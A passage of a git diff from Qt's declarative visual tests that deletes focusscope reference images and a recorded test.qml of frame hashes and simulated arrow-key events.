Frame { - msec: 10000 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10016 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10032 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10048 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10064 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10080 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10096 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10112 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10128 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10144 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10160 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10176 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10192 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10208 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10224 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10240 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10256 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10272 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10288 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10304 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10320 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10336 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10352 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10368 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 10384 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10400 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10416 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } - Frame { - msec: 10432 - hash: "d38da3f61cd2944eec8bdfbef70c928f" - } -} diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test.0.png b/tests/auto/declarative/visual/focusscope/data-X11/test.0.png deleted file mode 100644 index f68f7dc..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test.1.png b/tests/auto/declarative/visual/focusscope/data-X11/test.1.png deleted file mode 100644 index f68f7dc..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test.2.png b/tests/auto/declarative/visual/focusscope/data-X11/test.2.png deleted file mode 100644 index e26c028..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test.3.png b/tests/auto/declarative/visual/focusscope/data-X11/test.3.png deleted file mode 100644 index 9c4b2f2..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test.4.png b/tests/auto/declarative/visual/focusscope/data-X11/test.4.png deleted file mode 100644 index 9c4b2f2..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test.5.png b/tests/auto/declarative/visual/focusscope/data-X11/test.5.png deleted file mode 100644 index 9c4b2f2..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-X11/test.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-X11/test.qml b/tests/auto/declarative/visual/focusscope/data-X11/test.qml deleted file mode 100644 index 93189fa..0000000 --- a/tests/auto/declarative/visual/focusscope/data-X11/test.qml +++ /dev/null @@ -1,1599 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 32 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 48 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 64 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 80 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 96 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 112 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 128 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 144 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 160 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 176 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 192 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 208 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 224 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 240 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 256 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 272 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 288 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 304 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 320 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 336 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 352 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 368 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 384 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 400 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 416 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 432 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 448 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 464 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 480 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 496 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 512 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 528 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 544 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 560 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 576 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 592 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 608 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 624 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 640 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 656 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 672 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 688 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 704 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 720 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 736 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 752 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 768 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 784 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 800 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 816 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 832 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 848 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 864 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 880 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 896 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 912 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 928 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 944 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 960 - image: "test.0.png" - } - Frame { - msec: 976 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 992 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1008 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1024 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1040 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1056 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1072 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1088 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1104 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1120 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1136 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1152 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1168 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1184 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1200 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1216 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1232 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1248 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1264 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1280 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1296 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1312 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1328 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1344 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1360 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1376 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1392 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1408 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1424 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1440 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1456 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1472 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1488 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1504 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1520 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1536 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1552 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1568 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1584 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1600 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1616 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1632 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1648 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1664 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1680 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1696 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1712 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1728 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1744 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1760 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1776 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1792 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 1808 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 1824 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1840 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1856 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1872 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1888 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1904 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1920 - image: "test.1.png" - } - Frame { - msec: 1936 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1952 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 1968 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 1984 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2000 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2016 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2032 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2048 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2064 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2080 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2096 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2112 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2128 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2144 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2160 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2176 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2192 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2208 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2224 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2240 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2256 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2272 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2288 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2304 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2320 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2336 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 2352 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Key { - type: 6 - key: 16777237 - modifiers: 536870912 - text: "1f" - autorep: false - count: 1 - } - Frame { - msec: 2368 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2384 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2400 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2416 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2432 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2448 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2464 - hash: "9157e592069482e801a091aa69758d26" - } - Key { - type: 7 - key: 16777237 - modifiers: 536870912 - text: "1f" - autorep: false - count: 1 - } - Frame { - msec: 2480 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2496 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2512 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2528 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2544 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2560 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2576 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2592 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2608 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2624 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2640 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2656 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2672 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2688 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2704 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2720 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2736 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2752 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2768 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2784 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2800 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2816 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2832 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2848 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2864 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2880 - image: "test.2.png" - } - Frame { - msec: 2896 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2912 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2928 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2944 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2960 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 2976 - hash: "9157e592069482e801a091aa69758d26" - } - Key { - type: 6 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 2992 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3008 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3024 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3040 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3056 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3072 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3088 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Key { - type: 7 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 3104 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3120 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3136 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3152 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3168 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3184 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3200 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3216 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3232 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3248 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3264 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3280 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3296 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3312 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3328 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3344 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3360 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3376 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3392 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3408 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3424 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3440 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3456 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3472 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3488 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3504 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3520 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Frame { - msec: 3536 - hash: "cd2aced96da9032ddd5e2cacf27d045d" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 3552 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3568 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3584 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3600 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3616 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3632 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3648 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 3664 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3680 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3696 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3712 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3728 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3744 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3760 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3776 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3792 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3808 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3824 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3840 - image: "test.3.png" - } - Frame { - msec: 3856 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3872 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3888 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3904 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3920 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3936 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3952 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3968 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 3984 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4000 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4016 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4032 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4048 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4064 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4080 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4096 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4112 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4128 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4144 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4160 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Frame { - msec: 4176 - hash: "0de58b2460574baf17912e90ba8a89b2" - } - Key { - type: 6 - key: 16777237 - modifiers: 536870912 - text: "1f" - autorep: false - count: 1 - } - Frame { - msec: 4192 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4208 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4224 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4240 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4256 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4272 - hash: "9157e592069482e801a091aa69758d26" - } - Key { - type: 7 - key: 16777237 - modifiers: 536870912 - text: "1f" - autorep: false - count: 1 - } - Frame { - msec: 4288 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4304 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4320 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4336 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4352 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4368 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4384 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4400 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4416 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4432 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4448 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4464 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4480 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4496 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4512 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4528 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4544 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4560 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4576 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4592 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4608 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4624 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4640 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4656 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4672 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4688 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4704 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4720 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4736 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4752 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4768 - hash: "9157e592069482e801a091aa69758d26" - } - Frame { - msec: 4784 - hash: "9157e592069482e801a091aa69758d26" - } - Key { - type: 6 - key: 16777235 - modifiers: 536870912 - text: "1e" - autorep: false - count: 1 - } - Frame { - msec: 4800 - image: "test.4.png" - } - Frame { 